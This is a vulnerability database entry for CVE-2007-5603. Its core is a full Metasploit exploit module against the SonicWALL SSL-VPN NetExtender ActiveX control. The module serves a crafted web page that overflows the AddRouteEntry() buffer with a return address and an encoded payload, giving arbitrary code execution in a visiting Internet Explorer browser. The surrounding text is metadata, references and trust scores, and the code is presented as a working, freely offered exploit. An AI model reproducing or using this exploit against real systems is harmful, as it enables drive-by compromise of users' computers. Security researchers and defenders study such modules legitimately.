ID
VAR-E-200911-0073
CVE
cve_id: | CVE-2007-5603 | Trust: 2.1 |
EDB ID
16616
TITLE
SonicWALL SSL-VPN - NetExtender ActiveX Control Buffer Overflow (Metasploit) - Windows remote Exploit
Trust: 0.6
DESCRIPTION
SonicWALL SSL-VPN - NetExtender ActiveX Control Buffer Overflow (Metasploit). CVE-2007-5603CVE-39069 . remote exploit for Windows platform
Trust: 0.6
AFFECTED PRODUCTS
vendor: | sonicwall | model: | ssl-vpn | scope: | - | version: | - | Trust: 1.0 |
vendor: | sonicwall | model: | ssl-vpn netextender activex control | scope: | - | version: | - | Trust: 0.5 |
EXPLOIT
##
# $Id: sonicwall_addrouteentry.rb 9262 2010-05-09 17:45:00Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'SonicWall SSL-VPN NetExtender ActiveX Control Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in SonicWall SSL-VPN NetExtender.
By sending an overly long string to the "AddRouteEntry()" method located
in the NELaunchX.dll (1.0.0.26) Control, an attacker may be able to execute
arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'Version' => '$Revision: 9262 $',
'References' =>
[
[ 'CVE', '2007-5603'],
[ 'OSVDB', '39069'],
[ 'URL', 'http://www.sec-consult.com/303.html' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 800,
'BadChars' => "\x00\x09\x0a\x0d'\\",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'IE 6 / Windows XP SP2 Pro English', { 'Ret' => 0x7e497c7b } ], # 11/01/07
],
'DisclosureDate' => 'Nov 1 2007',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Randomize some things
vname = rand_text_alpha(rand(100) + 1)
strname = rand_text_alpha(rand(100) + 1)
# Set the exploit buffer
sploit = rand_text_english(36) + [target.ret].pack('V')
sploit << p.encoded + rand_text_english(1024 - p.encoded.length)
# Build out the message
content = %Q|<html>
<object classid='clsid:6EEFD7B1-B26C-440D-B55A-1EC677189F30' id='#{vname}'></object>
<script language='javascript'>
var #{vname} = document.getElementById('#{vname}');
var #{strname} = new String('#{sploit}');
#{vname}.AddRouteEntry(#{strname}, #{vname});
</script>
</html>
|
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
Trust: 1.0
EXPLOIT LANGUAGE
rb
Trust: 0.6
PRICE
free
Trust: 0.6
TYPE
NetExtender ActiveX Control Buffer Overflow (Metasploit)
Trust: 1.0
TAGS
tag: | Metasploit Framework (MSF) | Trust: 1.0 |
tag: | exploit | Trust: 0.5 |
tag: | overflow | Trust: 0.5 |
tag: | arbitrary | Trust: 0.5 |
CREDITS
Metasploit
Trust: 0.6
EXTERNAL IDS
db: | NVD | id: | CVE-2007-5603 | Trust: 2.1 |
db: | EXPLOIT-DB | id: | 16616 | Trust: 1.6 |
db: | EDBNET | id: | 39306 | Trust: 0.6 |
db: | PACKETSTORM | id: | 83233 | Trust: 0.5 |
REFERENCES
url: | https://nvd.nist.gov/vuln/detail/cve-2007-5603 | Trust: 2.1 |
url: | https://www.exploit-db.com/exploits/16616/ | Trust: 0.6 |
SOURCES
db: | PACKETSTORM | id: | 83233 |
db: | EXPLOIT-DB | id: | 16616 |
db: | EDBNET | id: | 39306 |
LAST UPDATE DATE
2022-07-27T09:23:08.908000+00:00
SOURCES RELEASE DATE
db: | PACKETSTORM | id: | 83233 | date: | 2009-11-26T00:34:53 |
db: | EXPLOIT-DB | id: | 16616 | date: | 2010-05-09T00:00:00 |
db: | EDBNET | id: | 39306 | date: | 2010-05-09T00:00:00 |